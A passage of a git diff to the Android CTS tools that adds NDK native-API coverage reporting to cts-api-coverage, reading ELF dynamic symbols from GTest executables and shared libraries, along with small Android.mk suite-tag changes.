import org.jf.dexlib2.DexFileFactory;
-import org.jf.dexlib2.DexFileFactory.DexFileNotFound;
-import org.jf.dexlib2.DexFileFactory.MultipleDexFilesException;
import org.jf.dexlib2.Opcodes;
import org.jf.dexlib2.iface.Annotation;
import org.jf.dexlib2.iface.AnnotationElement;
@@ -44,6 +43,7 @@
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
+import java.util.Locale;
import java.util.Set;
import javax.xml.transform.TransformerException;
@@ -71,13 +71,17 @@
private static final String CDD_REQUIREMENT_ELEMENT_NAME = "requirement";
+ private static final String NDK_PACKAGE_NAME = "ndk";
+
+ private static final String NDK_DUMMY_RETURN_TYPE = "na";
+
private static void printUsage() {
System.out.println("Usage: cts-api-coverage [OPTION]... [APK]...");
System.out.println();
System.out.println("Generates a report about what Android framework methods are called ");
System.out.println("from the given APKs.");
System.out.println();
- System.out.println("Use the Makefiles rules in CtsTestCoverage.mk to generate the report ");
+ System.out.println("Use the Makefiles rules in CtsCoverage.mk to generate the report ");
System.out.println("rather than executing this directly. If you still want to run this ");
System.out.println("directly, then this must be used from the $ANDROID_BUILD_TOP ");
System.out.println("directory and dexdeps must be built via \"make dexdeps\".");
@@ -87,9 +91,12 @@
System.out.println(" -f [txt|xml|html] format of output");
System.out.println(" -d PATH path to dexdeps or expected to be in $PATH");
System.out.println(" -a PATH path to the API XML file");
+ System.out.println(
+ " -n PATH path to the NDK API XML file, which can be updated via ndk-api-report with the ndk target");
System.out.println(" -p PACKAGENAMEPREFIX report coverage only for package that start with");
System.out.println(" -t TITLE report title");
System.out.println(" -a API the Android API Level");
+ System.out.println(" -b BITS 64 or 32 bits, default 64");
System.out.println();
System.exit(1);
}
@@ -100,10 +107,15 @@
int format = FORMAT_TXT;
String dexDeps = "dexDeps";
String apiXmlPath = "";
+ String napiXmlPath = "";
PackageFilter packageFilter = new PackageFilter();
String reportTitle = "CTS API Coverage";
int apiLevel = Integer.MAX_VALUE;
+ String testCasesFolder = "";
+ String bits = "64";
+ List<File> notFoundTestApks = new ArrayList<File>();
+ int numTestApkArgs = 0;
for (int i = 0; i < args.length; i++) {
if (args[i].startsWith("-")) {
if ("-o".equals(args[i])) {
@@ -123,25 +135,39 @@
dexDeps = getExpectedArg(args, ++i);
} else if ("-a".equals(args[i])) {
apiXmlPath = getExpectedArg(args, ++i);
+ } else if ("-n".equals(args[i])) {
+ napiXmlPath = getExpectedArg(args, ++i);
} else if ("-p".equals(args[i])) {
packageFilter.addPrefixToFilter(getExpectedArg(args, ++i));
} else if ("-t".equals(args[i])) {
reportTitle = getExpectedArg(args, ++i);
} else if ("-a".equals(args[i])) {
apiLevel = Integer.parseInt(getExpectedArg(args, ++i));
+ } else if ("-b".equals(args[i])) {
+ bits = getExpectedArg(args, ++i);
} else {
printUsage();
}
} else {
File file = new File(args[i]);
+ numTestApkArgs++;
if (file.isDirectory()) {
testApks.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
- } else {
+ testCasesFolder = args[i];
+ } else if (file.isFile()) {
testApks.add(file);
+ } else {
+ notFoundTestApks.add(file);
}
}
}
+ if (!notFoundTestApks.isEmpty()) {
+ String msg = String.format(Locale.US, "%d/%d testApks not found: %s",
+ notFoundTestApks.size(), numTestApkArgs, notFoundTestApks);
+ throw new IllegalArgumentException(msg);
+ }
+
/*
* 1. Create an ApiCoverage object that is a tree of Java objects representing the API
* in current.xml. The object will have no information about the coverage for each
@@ -155,6 +181,20 @@
ApiCoverage apiCoverage = getEmptyApiCoverage(apiXmlPath);
CddCoverage cddCoverage = getEmptyCddCoverage();
+
+ if (!napiXmlPath.equals("")) {
+ System.out.println("napiXmlPath: " + napiXmlPath);
+ ApiCoverage napiCoverage = getEmptyApiCoverage(napiXmlPath);
+ ApiPackage napiPackage = napiCoverage.getPackage(NDK_PACKAGE_NAME);
+ System.out.println(
+ String.format(
+ "%s, NDK Methods = %d, MemberSize = %d",
+ napiXmlPath,
+ napiPackage.getTotalMethods(),
+ napiPackage.getMemberSize()));
+ apiCoverage.addPackage(napiPackage);
+ }
+
// Add superclass information into api coverage.
apiCoverage.resolveSuperClasses();
for (File testApk : testApks) {
@@ -162,6 +202,22 @@
addCddCoverage(cddCoverage, testApk, apiLevel);
}
+ try {
+ // Add coverage for GTest modules
+ addGTestNdkApiCoverage(apiCoverage, testCasesFolder, bits);
+ } catch (Exception e) {
+ System.out.println("warning: addGTestNdkApiCoverage failed to add to apiCoverage:");
+ e.printStackTrace();
+ }
+
+ try {
+ // Add coverage for APK with Share Objects
+ addNdkApiCoverage(apiCoverage, testCasesFolder, bits);
+ } catch (Exception e) {
+ System.out.println("warning: addNdkApiCoverage failed to add to apiCoverage:");
+ e.printStackTrace();
+ }
+
outputCoverageReport(apiCoverage, cddCoverage, testApks, outputFile,
format, packageFilter, reportTitle);
}
@@ -229,6 +285,103 @@
}
}
+ /**
+ * Adds coverage information from native code symbol array to the {@link ApiCoverage} object.
+ *
+ * @param apiPackage object to which the coverage statistics will be added to
+ * @param symArr containing native code symbols
+ * @param testModules containing a list of TestModule
+ * @param moduleName test module name
+ */
+ private static void addNdkSymArrToApiCoverage(
+ ApiCoverage apiCoverage, List<TestModule> testModules)
+ throws SAXException, IOException {
+
+ final List<String> parameterTypes = new ArrayList<String>();
+ final ApiPackage apiPackage = apiCoverage.getPackage(NDK_PACKAGE_NAME);
+
+ if (apiPackage != null) {
+ for (TestModule tm : testModules) {
+ final String moduleName = tm.getModuleName();
+ final ReadElf.Symbol[] symArr = tm.getDynSymArr();
+ if (symArr != null) {
+ for (ReadElf.Symbol sym : symArr) {
+ if (sym.isGlobalUnd()) {
+ String className = sym.getExternalLibFileName();
+ ApiClass apiClass = apiPackage.getClass(className);
+ if (apiClass != null) {
+ apiClass.markMethodCovered(
+ sym.name,
+ parameterTypes,
+ NDK_DUMMY_RETURN_TYPE,
+ moduleName);
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkApiCoverage failed to getClass: %s",
+ className));
+ }
+ }
+ }
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkSymbolArrToApiCoverage failed to getSymArr: %s",
+ moduleName));
+ }
+ }
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkApiCoverage failed to getPackage: %s",
+ NDK_PACKAGE_NAME));
+ }
+ }
+
+ /**
+ * Adds coverage information gleamed from readelf on so in the APK to the {@link ApiCoverage}
+ * object.
+ *
+ * @param apiCoverage object to which the coverage statistics will be added to
+ * @param testCasesFolder containing GTest modules
+ * @param bits 64 or 32 bits of executiable
+ */
+ private static void addNdkApiCoverage(
+ ApiCoverage apiCoverage, String testCasesFolder, String bits)
+ throws SAXException, IOException {
+ ApkNdkApiReport apiReport = ApkNdkApiReport.parseTestcasesFolder(testCasesFolder, bits);
+ if (apiReport != null) {
+ addNdkSymArrToApiCoverage(apiCoverage, apiReport.getTestModules());
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+ testCasesFolder, bits));
+ }
+ }
+
+ /**
+ * Adds GTest coverage information gleamed from running ReadElf on the executiable to the {@link
+ * ApiCoverage} object.
+ *
+ * @param apiCoverage object to which the coverage statistics will be added to
+ * @param testCasesFolder containing GTest modules
+ * @param bits 64 or 32 bits of executiable
+ */
+ private static void addGTestNdkApiCoverage(
+ ApiCoverage apiCoverage, String testCasesFolder, String bits)
+ throws SAXException, IOException {
+ GTestApiReport apiReport = GTestApiReport.parseTestcasesFolder(testCasesFolder, bits);
+ if (apiReport != null) {
+ addNdkSymArrToApiCoverage(apiCoverage, apiReport.getTestModules());
+ } else {
+ System.err.println(
+ String.format(
+ "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+ testCasesFolder, bits));
+ }
+ }
+
private static void addCddCoverage(CddCoverage cddCoverage, File testSource, int api)
throws IOException {
@@ -264,9 +417,8 @@
DexFile dexFile = null;
try {
- dexFile = DexFileFactory.loadDexFile(
- testSource, null /*dexEntry*/, Opcodes.forApi(api));
- } catch (IOException | DexFileFactory.DexFileNotFound e) {
+ dexFile = DexFileFactory.loadDexFile(testSource, Opcodes.forApi(api));
+ } catch (IOException | DexFileFactory.DexFileNotFoundException e) {
System.err.println("Unable to load dex file: " + testSource.getPath());
return;
}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java
new file mode 100644
index 0000000..a1a6923
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/GTestApiReport.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+import org.xml.sax.XMLReader;
+import org.xml.sax.helpers.XMLReaderFactory;
+
+import java.io.File;
+import java.io.FileReader;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class GTestApiReport {
+ public static final String CONFIG_EXT = ".config";
+ public static final String DEFAULT_OUTPUT_FILE_NAME = "./gtest-coverage.txt";
+ public static final String TEST_TYPE = "com.android.tradefed.testtype.GTest";
+
+ private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+ new FilenameFilter() {
+ public boolean accept(File dir, String name) {
+ String fileName = name.toLowerCase();
+ return fileName.endsWith(CONFIG_EXT);
+ }
+ };
+
+ private static void printUsage() {
+ System.out.println("Usage: GTestApiXmlReport [OPTION]... [APK]...");
+ System.out.println();
+ System.out.println("Generates a report about what Android NDK methods.");
+ System.out.println();
+ System.out.println("Options:");
+ System.out.println(" -o FILE output file or standard out if not given");
+ System.out.println(" -t PATH path to the CTS testcases Folder");
+ System.out.println(" -b BITS 64 or 32");
+ System.out.println();
+ System.exit(1);
+ }
+
+ /** Get the argument or print out the usage and exit. */
+ private static String getExpectedArg(String[] args, int index) {
+ if (index < args.length) {
+ return args[index];
+ } else {
+ printUsage();
+ return null; // Never will happen because printUsage will call exit(1)
+ }
+ }
+
+ public static void main(String[] args) throws IOException, SAXException {
+ GTestApiReport apiReport;
+ String testCasePath = "";
+ String bits = "64";
+ String outputFileName = DEFAULT_OUTPUT_FILE_NAME;
+ int numTestModule = 0;
+
+ for (int i = 0; i < args.length; i++) {
+ if (args[i].startsWith("-")) {
+ if ("-o".equals(args[i])) {
+ outputFileName = getExpectedArg(args, ++i);
+ } else if ("-t".equals(args[i])) {
+ testCasePath = getExpectedArg(args, ++i);
+ } else if ("-b".equals(args[i])) {
+ bits = getExpectedArg(args, ++i);
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ apiReport = parseTestcasesFolder(testCasePath, bits);
+ if (apiReport != null) {
+ for (TestModule tm : apiReport.mTestModules) {
+ tm.getDynSymArr();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ private List<TestModule> mTestModules;
+ private String mBits;
+
+ GTestApiReport(List<TestModule> testModules, String bits) {
+ mTestModules = testModules;
+ mBits = bits;
+ }
+
+ public List<TestModule> getTestModules() {
+ return mTestModules;
+ }
+
+ public String getBits() {
+ return mBits;
+ }
+
+ public static GTestApiReport parseTestcasesFolder(String testCasePath, String bits)
+ throws IOException, SAXException {
+ File[] testConfigFiles;
+ List<TestModule> testModules = new ArrayList<TestModule>();
+
+ File file = new File(testCasePath);
+ if (file.isDirectory()) {
+ testConfigFiles = file.listFiles(SUPPORTED_FILE_NAME_FILTER);
+
+ for (File testConfigFile : testConfigFiles) {
+ XMLReader xmlReader = XMLReaderFactory.createXMLReader();
+ TestModuleConfigHandler testModuleXmlHandler = new TestModuleConfigHandler();
+ xmlReader.setContentHandler(testModuleXmlHandler);
+ FileReader fileReader = null;
+
+ try {
+ fileReader = new FileReader(testConfigFile);
+ xmlReader.parse(new InputSource(fileReader));
+ if (TEST_TYPE.equalsIgnoreCase(testModuleXmlHandler.getTestClassName())) {
+ File gTestExe =
+ new File(
+ testCasePath
+ + "/"
+ + testModuleXmlHandler.getModuleName()
+ + bits);
+
+ System.out.println(gTestExe.getName());
+ System.out.println(
+ String.format(
+ "%s: %s, %s",
+ testConfigFile.getName(),
+ testModuleXmlHandler.getModuleName(),
+ testModuleXmlHandler.getTestClassName()));
+
+ testModules.add(
+ new TestModule(
+ gTestExe,
+ testModuleXmlHandler.getModuleName(),
+ testModuleXmlHandler.getTestClassName()));
+ }
+
+ } finally {
+ if (fileReader != null) {
+ fileReader.close();
+ }
+ }
+ }
+ } else {
+ return null;
+ }
+ return new GTestApiReport(testModules, bits);
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java
new file mode 100644
index 0000000..810d619
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/NdkApiXmlReport.java
@@ -0,0 +1,335 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import com.android.compatibility.common.util.ReadElf;
+
+import org.w3c.dom.Attr;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.FilenameFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.transform.OutputKeys;
+import javax.xml.transform.Transformer;
+import javax.xml.transform.TransformerException;
+import javax.xml.transform.TransformerFactory;
+import javax.xml.transform.dom.DOMSource;
+import javax.xml.transform.stream.StreamResult;
+/**
+ * Class that outputs an XML report of the {@link ApiCoverage} collected. It can be viewed in a
+ * browser when used with the api-coverage.css and api-coverage.xsl files.
+ */
+class NdkApiXmlReport {
+ private static final String API_TAG = "api";
+ private static final String PACKAGE_TAG = "package";
+ private static final String CLASS_TAG = "class";
+ private static final String METHOD_TAG = "method";
+ private static final String FIELD_TAG = "field";
+ private static final String ATTRIBUTE_NAME = "name";
+ private static final String NDK_PACKAGE_NAME = "ndk";
+ private static final String NDK_DUMMY_RETURN_TYPE = "na";
+
+ private static final Map<String, String> sInternalSymMap;
+ static {
+ sInternalSymMap = new HashMap<String, String>();
+ sInternalSymMap.put("__bss_start", "bss");
+ sInternalSymMap.put("_end", "initialized data");
+ sInternalSymMap.put("_edata", "uninitialized data");
+ }
+
+ private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER =
+ new FilenameFilter() {
+ public boolean accept(File dir, String name) {
+ String fileName = name.toLowerCase();
+ return fileName.endsWith(".so");
+ }
+ };
+
+ private static void printUsage() {
+ System.out.println("Usage: ndk-api-xml-report [OPTION]... [APK]...");
+ System.out.println();
+ System.out.println("Generates a report about what Android NDK methods.");
+ System.out.println();
+ System.out.println("this must be used from the $ANDROID_BUILD_TOP");
+ System.out.println("make cts-test-coverage");
+ System.out.println("unzip the target ndk_platform.tar.bz2 to a folder.");
+ System.out.println(
+ "$ANDROID_HOST_OUT/bin/ndk-api-report "
+ + "-o $ANDROID_BUILD_TOP/cts/tools/cts-api-coverage/etc/ndk-api.xml "
+ + "-n <ndk-folder>/platforms/android-current/arch-arm64/usr/lib");
+ System.out.println();
+ System.out.println("Options:");
+ System.out.println(" -o FILE output file or standard out if not given");
+ System.out.println(" -n PATH path to the NDK Lib Folder");
+ System.out.println();
+ System.exit(1);
+ }
+
+ /** Get the argument or print out the usage and exit. */
+ private static String getExpectedArg(String[] args, int index) {
+ if (index < args.length) {
+ return args[index];
+ } else {
+ printUsage();
+ return null; // Never will happen because printUsage will call exit(1)
+ }
+ }
+
+ public static void main(String[] args) throws IOException {
+ List<File> ndkSos = new ArrayList<File>();
+ int numNdkSos = 0;
+ String ndkLibPath = "";
+ String outputFilePath = "./ndk-api.xml";
+
+ for (int i = 0; i < args.length; i++) {
+ if (args[i].startsWith("-")) {
+ if ("-o".equals(args[i])) {
+ outputFilePath = getExpectedArg(args, ++i);
+ } else if ("-n".equals(args[i])) {
+ ndkLibPath = getExpectedArg(args, ++i);
+ File file = new File(ndkLibPath);
+ if (file.isDirectory()) {
+ ndkSos.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ } else {
+ printUsage();
+ }
+ }
+
+ Document dom;
+ // instance of a DocumentBuilderFactory
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ try {
+ // use factory to get an instance of document builder
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ // create instance of DOM
+ dom = db.newDocument();
+
+ // create the root element
+ Element apiEle = dom.createElement(API_TAG);
+ Element pkgEle = dom.createElement(PACKAGE_TAG);
+ setAttribute(dom, pkgEle, ATTRIBUTE_NAME, NDK_PACKAGE_NAME);
+ apiEle.appendChild(pkgEle);
+ dom.appendChild(apiEle);
+
+ for (File ndkSo : ndkSos) {
+ ReadElf re = ReadElf.read(ndkSo);
+ re.getDynamicSymbol("");
+ ReadElf.Symbol[] symArr = re.getDynSymArr();
+ System.out.println(ndkSo.getName());
+ Element classEle = addToDom(dom, pkgEle, symArr, ndkSo.getName().toLowerCase());
+ pkgEle.appendChild(classEle);
+ }
+
+ try {
+ Transformer tr = TransformerFactory.newInstance().newTransformer();
+ // enable indent in result file
+ tr.setOutputProperty(OutputKeys.INDENT, "yes");
+ tr.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+
+ // send DOM to file
+ tr.transform(
+ new DOMSource(dom), new StreamResult(new FileOutputStream(outputFilePath)));
+
+ } catch (TransformerException te) {
+ System.out.println(te.getMessage());
+ } catch (IOException ioe) {
+ System.out.println(ioe.getMessage());
+ }
+ } catch (ParserConfigurationException pce) {
+ System.out.println("UsersXML: Error trying to instantiate DocumentBuilder " + pce);
+ }
+ }
+
+ public static Element addToDom(
+ Document dom, Element pkgEle, ReadElf.Symbol[] symArr, String libName) {
+ Element classEle = createClassEle(dom, libName);
+ for (int i = 0; i < symArr.length; i++) {
+ if (symArr[i].isExtern()) {
+ Element methodEle;
+ if(isInternalSymbol(symArr[i])) {
+ continue;
+ }
+
+ if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+ methodEle = createFieldEle(dom, symArr[i].name);
+ } else {
+ methodEle = createMethodEle(dom, symArr[i].name);
+ }
+
+ System.out.println(symArr[i].name);
+ classEle.appendChild(methodEle);
+ }
+ }
+ return classEle;
+ }
+
+ public static void addToDom(Document dom, Element pkgEle, ReadElf.Symbol[] symArr) {
+ HashMap<String, Element> classEleMap = new HashMap<String, Element>();
+ for (int i = 0; i < symArr.length; i++) {
+ if (symArr[i].isExtern()) {
+ Element methodEle;
+ if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+ methodEle = createFieldEle(dom, symArr[i].name);
+ } else {
+ methodEle = createMethodEle(dom, symArr[i].name);
+ }
+
+ System.out.println(symArr[i].name);
+
+ // add to the class element
+ String libName = symArr[i].getVerDefLibName();
+ Element classEle = classEleMap.get(libName);
+ if (classEle == null) {
+ classEle = createClassEle(dom, libName);
+ classEleMap.put(libName, classEle);
+ }
+ classEle.appendChild(methodEle);
+ }
+ }
+ Iterator ite = classEleMap.entrySet().iterator();
+ while (ite.hasNext()) {
+ Map.Entry<String, Element> entry = (Map.Entry<String, Element>) ite.next();
+ pkgEle.appendChild(entry.getValue());
+ }
+ }
+
+ public static void saveToXML(String xml, ReadElf.Symbol[] symArr) {
+ Document dom;
+ Element ele = null;
+
+ // instance of a DocumentBuilderFactory
+ DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+ try {
+ // use factory to get an instance of document builder
+ DocumentBuilder db = dbf.newDocumentBuilder();
+ // create instance of DOM
+ dom = db.newDocument();
+
+ // create the root element
+ Element apiEle = dom.createElement(API_TAG);
+ Element packageEle = dom.createElement(PACKAGE_TAG);
+ setAttribute(dom, packageEle, ATTRIBUTE_NAME, NDK_PACKAGE_NAME);
+ Element classEle = createClassEle(dom, "class");
+ packageEle.appendChild(classEle);
+ apiEle.appendChild(packageEle);
+ dom.appendChild(apiEle);
+
+ for (int i = 0; i < symArr.length; i++) {
+ if (symArr[i].isExtern()) {
+ Element methodEle;
+ if (symArr[i].type == ReadElf.Symbol.STT_OBJECT) {
+ methodEle = createFieldEle(dom, symArr[i].name);
+ } else {
+ methodEle = createMethodEle(dom, symArr[i].name);
+ }
+ classEle.appendChild(methodEle);
+ }
+ }
+
+ try {
+ Transformer tr = TransformerFactory.newInstance().newTransformer();
+ // enable indent in result file
+ tr.setOutputProperty(OutputKeys.INDENT, "yes");
+ tr.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
+
+ // send DOM to file
+ tr.transform(new DOMSource(dom), new StreamResult(new FileOutputStream(xml)));
+
+ } catch (TransformerException te) {
+ System.out.println(te.getMessage());
+ } catch (IOException ioe) {
+ System.out.println(ioe.getMessage());
+ }
+ } catch (ParserConfigurationException pce) {
+ System.out.println("UsersXML: Error trying to instantiate DocumentBuilder " + pce);
+ }
+ }
+
+ protected static boolean isInternalSymbol(ReadElf.Symbol sym) {
+ String value = sInternalSymMap.get(sym.name);
+ if (value == null) {
+ return false;
+ } else {
+ return true;
+ }
+ }
+
+ protected static void setAttribute(Document doc, Node elem, String name, String value) {
+ Attr attr = doc.createAttribute(name);
+ attr.setNodeValue(value);
+ elem.getAttributes().setNamedItem(attr);
+ }
+
+ protected static Element createClassEle(Document doc, String name) {
+ Element ele = doc.createElement(CLASS_TAG);
+ setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+ setAttribute(doc, ele, "abstract", "false");
+ setAttribute(doc, ele, "static", "false");
+ setAttribute(doc, ele, "final", "true");
+ setAttribute(doc, ele, "deprecated", "not deprecated");
+ setAttribute(doc, ele, "visibility", "public");
+ return ele;
+ }
+
+ protected static Element createMethodEle(Document doc, String name) {
+ Element ele = doc.createElement(METHOD_TAG);
+ setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+ setAttribute(doc, ele, "return", NDK_DUMMY_RETURN_TYPE);
+ setAttribute(doc, ele, "abstract", "false");
+ setAttribute(doc, ele, "native", "true");
+ setAttribute(doc, ele, "synchronized", "true");
+ setAttribute(doc, ele, "static", "false");
+ setAttribute(doc, ele, "final", "true");
+ setAttribute(doc, ele, "deprecated", "not deprecated");
+ setAttribute(doc, ele, "visibility", "public");
+ return ele;
+ }
+
+ protected static Element createFieldEle(Document doc, String name) {
+ Element ele = doc.createElement(FIELD_TAG);
+ setAttribute(doc, ele, ATTRIBUTE_NAME, name);
+ setAttribute(doc, ele, "type", "native");
+ setAttribute(doc, ele, "transient", "false");
+ setAttribute(doc, ele, "volatile", "false");
+ setAttribute(doc, ele, "value", "");
+ setAttribute(doc, ele, "static", "false");
+ setAttribute(doc, ele, "final", "true");
+ setAttribute(doc, ele, "deprecated", "not deprecated");
+ setAttribute(doc, ele, "visibility", "public");
+ return ele;
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java
new file mode 100644
index 0000000..bdef0b7
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModule.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import com.android.compatibility.common.util.ReadElf;
+
+import java.io.File;
+import java.io.IOException;
+/** Class that holds Native Code Sumbols */
+public class TestModule {
+ private File mConfigExe;
+ private String mModuleName;
+ private String mClassName;
+ private ReadElf.Symbol[] mDynSymArr;
+
+ TestModule(File configExe, String moduleName, String className) {
+ mConfigExe = configExe;
+ mModuleName = moduleName;
+ mClassName = className;
+ }
+
+ public ReadElf.Symbol[] getDynSymArr() throws IOException {
+ if (mDynSymArr == null) {
+ ReadElf re = ReadElf.read(mConfigExe);
+ re.getDynamicSymbol("");
+ mDynSymArr = re.getDynSymArr();
+ }
+
+ return mDynSymArr;
+ }
+
+ public String getModuleName() {
+ return mModuleName;
+ }
+
+ public String getClassName() {
+ return mClassName;
+ }
+}
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
new file mode 100644
index 0000000..85423b7
--- /dev/null
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/TestModuleConfigHandler.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.apicoverage;
+
+import org.xml.sax.Attributes;
+import org.xml.sax.SAXException;
+import org.xml.sax.helpers.DefaultHandler;
+
+/**
+ * {@link DefaultHandler} that builds an empty {@link ApiCoverage} object from scanning
+ * TestModule.xml.
+ */
+class TestModuleConfigHandler extends DefaultHandler {
+ private String mTestClassName;
+ private String mModuleName;
+ private Boolean inTestEle = false;
+
+ @Override
+ public void startElement(String uri, String localName, String name, Attributes attributes)
+ throws SAXException {
+ super.startElement(uri, localName, name, attributes);
+
+ if ("test".equalsIgnoreCase(localName)) {
+ mTestClassName = attributes.getValue("class");
+ inTestEle = true;
+ } else if ("option".equalsIgnoreCase(localName)) {
+ if (inTestEle) {
+ String optName = attributes.getValue("name");
+ if ("module-name".equalsIgnoreCase(optName)) {
+ mModuleName = attributes.getValue("value");
+ }
+ //System.out.println(String.format("%s: %s, %s, %s", localName, name, optName, attributes.getValue("value")));
+ }
+ }
+ }
+
+ @Override
+ public void endElement(String uri, String localName, String name) throws SAXException {
+ super.endElement(uri, localName, name);
+ if ("test".equalsIgnoreCase(localName)) {
+ inTestEle = false;
+ }
+ }
+
+ public String getModuleName() {
+ return mModuleName;
+ }
+
+ public String getTestClassName() {
+ return mTestClassName;
+ }
+}
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index e38d210..2f11db9 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceInfo
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
index 2affc5e..43b346d 100644
--- a/tools/cts-holo-generation/Android.mk
+++ b/tools/cts-holo-generation/Android.mk
@@ -23,7 +23,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tools/cts-media-preparer-app/Android.mk b/tools/cts-media-preparer-app/Android.mk
index 0ef2de4..9d44f8c 100644
--- a/tools/cts-media-preparer-app/Android.mk
+++ b/tools/cts-media-preparer-app/Android.mk
@@ -30,7 +30,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsMediaPreparerApp
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 5497dda..76bfaa8 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
